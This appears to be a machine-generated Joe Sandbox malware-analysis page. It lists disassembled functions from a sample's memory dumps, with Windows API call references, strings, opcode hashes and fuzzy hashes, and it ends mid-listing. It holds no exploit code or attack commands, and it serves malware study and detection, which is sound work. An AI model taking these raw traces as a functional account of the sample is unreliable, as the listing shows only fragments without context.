Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: 4d012e4498d5dfeabdad14534910c26636f291a1f51653619b0fc142ecfaf800
Instruction ID: 70c63587e124c7b12e873e9596c7b0a96eafda20fbe153e27646ecf0421d6dfc
Opcode Fuzzy Hash: 4d012e4498d5dfeabdad14534910c26636f291a1f51653619b0fc142ecfaf800
Instruction Fuzzy Hash: 9AF04F72A10611DBDB629F68AC08F2A76ECFF88716F150429E949D7250DF70F8428B60

Uniqueness

Uniqueness Score: -1.00%

Function 6A586E6E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,6A58718C,00000002,00000000,?,?,?,6A58718C,?,00000000), ref: 6A586F07
GetLocaleInfoW.KERNEL32(00000000,20001004,6A58718C,00000002,00000000,?,?,?,6A58718C,?,00000000), ref: 6A586F30
GetACP.KERNEL32(?,?,6A58718C,?,00000000), ref: 6A586F45

Strings

ACP, xrefs: 6A586E8C
OCP, xrefs: 6A586EC2

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 589690616e1b7a454ac3f1227b609fa7d259a999a7488deb5c528359ad0cc48d
Instruction ID: b9f0b82f450ca58ef3a85a6c0b82b5cd73a7898d1fb14f758ab3e3f12b1cfe24
Opcode Fuzzy Hash: 589690616e1b7a454ac3f1227b609fa7d259a999a7488deb5c528359ad0cc48d
Instruction Fuzzy Hash: E721D3A2766321ABE721CF18C901A8773B7AF40B54B438864FA05E7904EF32DE40C750

Uniqueness

Uniqueness Score: -1.00%

Function 6A587043 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6A57B8D2: GetLastError.KERNEL32(?,00000008,6A583C9D), ref: 6A57B8D6
Part of subcall function 6A57B8D2: SetLastError.KERNEL32(00000000,00000001,FFFFFFFF,000000FF), ref: 6A57B978

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 6A58714F
IsValidCodePage.KERNEL32(00000000), ref: 6A587198
IsValidLocale.KERNEL32(?,00000001), ref: 6A5871A7
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 6A5871EF
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 6A58720E

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 8cdced20316f2e019f8f4615ca67155751ee97ee23c0f351386bff8127aac9ff
Instruction ID: a2cd2651066380b4c8bd99ad9b51fef80a03ce358485e17dc4babe8c1b2f52a4
Opcode Fuzzy Hash: 8cdced20316f2e019f8f4615ca67155751ee97ee23c0f351386bff8127aac9ff
Instruction Fuzzy Hash: DA5161B1B00225AFEF11DFA5CC84AAE77B9BF45700F124469E915EB590EF70DA04CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6A57D4CA Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6A57D557

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c383ffd43711e4333b482333af4600e5756eb8a4c5c73a880ddb4b98ecdd5d33
Instruction ID: 741a00ed8e694b26bb321c5b3f79a780f1a3aa37b84e8561b6f106e5e29c257d
Opcode Fuzzy Hash: c383ffd43711e4333b482333af4600e5756eb8a4c5c73a880ddb4b98ecdd5d33
Instruction Fuzzy Hash: B5B135739042559FDB25CF68C890BEEBBE5EF95314F16816AE804BB241DB34D901CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0036188A Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00361917

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b986c5e0cb5b45c21f4c06af125ebc57dadd374eea57dc641108e9d4ce7859bb
Instruction ID: 5cbdf920640c096acb22c89a3b99ea1c41d8f1abdbd8cbe9294ade796b995eca
Opcode Fuzzy Hash: b986c5e0cb5b45c21f4c06af125ebc57dadd374eea57dc641108e9d4ce7859bb
Instruction Fuzzy Hash: 62B12532E052859FDB16CF68C891BEEBBF5EF55310F19C26AE844AB245D3749D01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 002E1F30 Relevance: 6.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5603a2d2d1ee648717c56cc850ee180c203fdb4dc01c0668a39c0ad0ce8804d7
Instruction ID: cc2555f154aa3ccbbcbf4e120c815df49d2d6a911a240a7aa2161357be256aef
Opcode Fuzzy Hash: 5603a2d2d1ee648717c56cc850ee180c203fdb4dc01c0668a39c0ad0ce8804d7
Instruction Fuzzy Hash: 0F81BD70911259DFDB20CF68CC49B99F7B8EF45310F2482D9E819AB292DB309E84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0024E810 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,00000017,DF534560,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 0024E859
LoadResource.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 0024E868
LockResource.KERNEL32(00000000,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 0024E873
SizeofResource.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,Function_001CC38D,000000FF), ref: 0024E884

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: d44391bdd6a8a2562600d19dbac6ddefb9bab928c0c82e7a8a9e0d428de7764c
Instruction ID: 506f7ad13d80c0fb9d9b5e9f948539924e134783bda9886574e5e9ff86f2a5b4
Opcode Fuzzy Hash: d44391bdd6a8a2562600d19dbac6ddefb9bab928c0c82e7a8a9e0d428de7764c
Instruction Fuzzy Hash: 6131C271D25715ABEB259F74DC01BABB7B8FB54710F044229EC15D7290EB30A914C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6A56D995 Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6A56D9A1
IsDebuggerPresent.KERNEL32 ref: 6A56DA6D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6A56DA8D
UnhandledExceptionFilter.KERNEL32(?), ref: 6A56DA97

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 27923f79bb6c5fb146f07d3f445fc6dd8766b1b75b68eac0337d1700407a250c
Instruction ID: c6fe3d3ecabc4201982100913b956feb24b5812905af25cc01a757a9151ca0f5
Opcode Fuzzy Hash: 27923f79bb6c5fb146f07d3f445fc6dd8766b1b75b68eac0337d1700407a250c
Instruction Fuzzy Hash: 46313676E052189BDF11DFA0C989BCDBBF8BF09304F1041AAE50DAB250EB709A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002DBB80 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

GetLocaleInfoW.KERNEL32(?,00000002,003D744C,00000000), ref: 002DBBF1
GetLocaleInfoW.KERNEL32(?,00000002,000000FF,-00000001,00000078,-00000001), ref: 002DBC2D

Part of subcall function 001B9AE0: RtlAllocateHeap.NTDLL(?,00000000,?,DF534560,00000000,00371390,000000FF,?,?,0044E7AC,?,001BCB99,80004005,DF534560,-00000010,?), ref: 001B9B2A

Strings

%d-%s, xrefs: 002DBC37

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: HeapInfoInit_thread_footerLocale$AllocateProcess
String ID: %d-%s
API String ID: 2080693894-1781338863
Opcode ID: b054362ce91815720f72ec66a22aa8e133c058126ba1c84bde07dd53dc676c86
Instruction ID: 62595b03a8bc3acda6c878e201ffd8296092a2e0aaf55277272387e36b8b6c51
Opcode Fuzzy Hash: b054362ce91815720f72ec66a22aa8e133c058126ba1c84bde07dd53dc676c86
Instruction Fuzzy Hash: D0619DB0900209DFD711DF68C919B9EBBF4FF05318F20869DE5159B392DB769A05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002E2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 173fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000,?), ref: 002E23EC
FindClose.KERNEL32(00000000), ref: 002E2537

Part of subcall function 001B9AE0: RtlAllocateHeap.NTDLL(?,00000000,?,DF534560,00000000,00371390,000000FF,?,?,0044E7AC,?,001BCB99,80004005,DF534560,-00000010,?), ref: 001B9B2A

Strings

%d.%d.%d.%d, xrefs: 002E24C9

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Find$AllocateCloseFileFirstHeap
String ID: %d.%d.%d.%d
API String ID: 1673784098-3491811756
Opcode ID: 28ab757a272c779e6b6b0b2a8af579de9f9ee11807398d1d90b05fbf5902c42f
Instruction ID: e8fbf12c63649d6451ed94955de06e67136de66386bd9e5b5ffed7c39129b50b
Opcode Fuzzy Hash: 28ab757a272c779e6b6b0b2a8af579de9f9ee11807398d1d90b05fbf5902c42f
Instruction Fuzzy Hash: 2C619D70905259DFDF24DF28CD48B9DBBB8EF04314F108299E419AB291DB359A88CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00346652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00346597,0000001C,0034678C,00000000,?,?,?,?,?,?,?,00346597,00000004,00459914,0034681C), ref: 00346663
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00346597,00000004,00459914,0034681C), ref: 0034667E

Strings

D, xrefs: 00346672

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 6b23b18d5b67c6a6ec2637ac3a3ef9493391859d15772d46f56298cc2dd8cbc9
Instruction ID: 857c51d706eceac2c5433c4a4f3476e9f39b9938b2c972984d0e254d7af7c915
Opcode Fuzzy Hash: 6b23b18d5b67c6a6ec2637ac3a3ef9493391859d15772d46f56298cc2dd8cbc9
Instruction Fuzzy Hash: 9E01F732A00109ABDB14DE29CC05BDE7BEDAFC5324F0EC225ED59DB244DA38E9018680

Uniqueness

Uniqueness Score: -1.00%

Function 002B9370 Relevance: 3.1, APIs: 2, Instructions: 105windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,DF534560,?,00000000), ref: 002B93BB
GetLastError.KERNEL32(?,00000000), ref: 002B93C5

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 72dcd46345dfee47849670d2b4ee8703b18bf31662902495820827c615e4c7f6
Instruction ID: 613e87c38bab2fb0fb1fcacec54bd0fb3ff06c5ad04c3960f0e7b8c5f2b4ff54
Opcode Fuzzy Hash: 72dcd46345dfee47849670d2b4ee8703b18bf31662902495820827c615e4c7f6
Instruction Fuzzy Hash: E731DF71A10219AFEB10DFA9DC45BEEB7F8EB04B54F20026AF614E73C1DBB599008790

Uniqueness

Uniqueness Score: -1.00%

Function 0020A7E0 Relevance: 2.7, Strings: 2, Instructions: 224COMMON

Download Yara Rule

Strings

>, xrefs: 0020AA0C
1, xrefs: 0020ABE8

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID: 1$>
API String ID: 0-383295512
Opcode ID: 8bd7b3b099c470452ecddd3c785e24e58207b09de2d1e97a68d8f8b1baff208e
Instruction ID: b73f09dbbc3f2e2982062a5900431ac4dbb2289fabec7cda9628af27f117bed2
Opcode Fuzzy Hash: 8bd7b3b099c470452ecddd3c785e24e58207b09de2d1e97a68d8f8b1baff208e
Instruction Fuzzy Hash: E5D135B0905789EFE706CF64C15878AFFF4BF05308F14829DD4586B282D3BAA658CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0025BC10 Relevance: 2.6, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

DY>, xrefs: 0025BD1D
(Z>, xrefs: 0025BD24

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID: (Z>$DY>
API String ID: 0-551641904
Opcode ID: 377e0be41aa2645a32a37b507230d15c0d3034577477394c7138c666809bc319
Instruction ID: 826eb72a9dedae0b2e5f47f77350e808d3f51f0952313ea7282f103a1e809fae
Opcode Fuzzy Hash: 377e0be41aa2645a32a37b507230d15c0d3034577477394c7138c666809bc319
Instruction Fuzzy Hash: 474104B4901B45EED705CF69C50878AFBF0BB19318F10825ED4589B781C3BAA618CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001D0F80 Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,DF534560,?,?,?,?,00376884,000000FF), ref: 001D1013

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalDeleteSection
String ID:
API String ID: 166494926-0
Opcode ID: 079f0a2c85402cc0ebb57644a131e8e216197a6cc50f62da74023c36a361240c
Instruction ID: 7051e2ec41c46374061f3a8a6c33275db67f1be1887977b3d1de599c8ff582bd
Opcode Fuzzy Hash: 079f0a2c85402cc0ebb57644a131e8e216197a6cc50f62da74023c36a361240c
Instruction Fuzzy Hash: 4331CEB1A04746FBCB21DF24DD04B8ABBE8BB06310F10426AF824A7792D775E954CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0021459D Relevance: 1.6, APIs: 1, Instructions: 80nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,00000086,?,00000000), ref: 00214625

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 67efb5c3dd908393868495e171518ec766657799d9c78b8ae1e8eeb17c2c808a
Instruction ID: 7425b3cde6715a874fa60f62ce22aad5609a3b0d5dad3f9ce72c0e99c547e2b3
Opcode Fuzzy Hash: 67efb5c3dd908393868495e171518ec766657799d9c78b8ae1e8eeb17c2c808a
Instruction Fuzzy Hash: 7C318D31908255EFDB11CF68DD84B99BBF5FF46320F1042AAE415A72A1CB71AD14CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00214468 Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,0000000C,?,?,?,000000F0,00000000,?,000000F0), ref: 002144B1

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 1de8b789a925f04bae3ef7cf84cd90e949bf60f7bfb1c38404dd3c0029b0ab42
Instruction ID: d4f2f7da4f1ab590e2abaa32c3ccf1616c24e04cf1e0b568527f920fd844317b
Opcode Fuzzy Hash: 1de8b789a925f04bae3ef7cf84cd90e949bf60f7bfb1c38404dd3c0029b0ab42
Instruction Fuzzy Hash: DF115E72904219EFDF219F58DD45A9DBBB1FB49321F21032AF425A73E0CB315D119B40

Uniqueness

Uniqueness Score: -1.00%

Function 002144DE Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,00000080,?,?,?,000000F0,00000000,?,000000F0), ref: 00214529

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
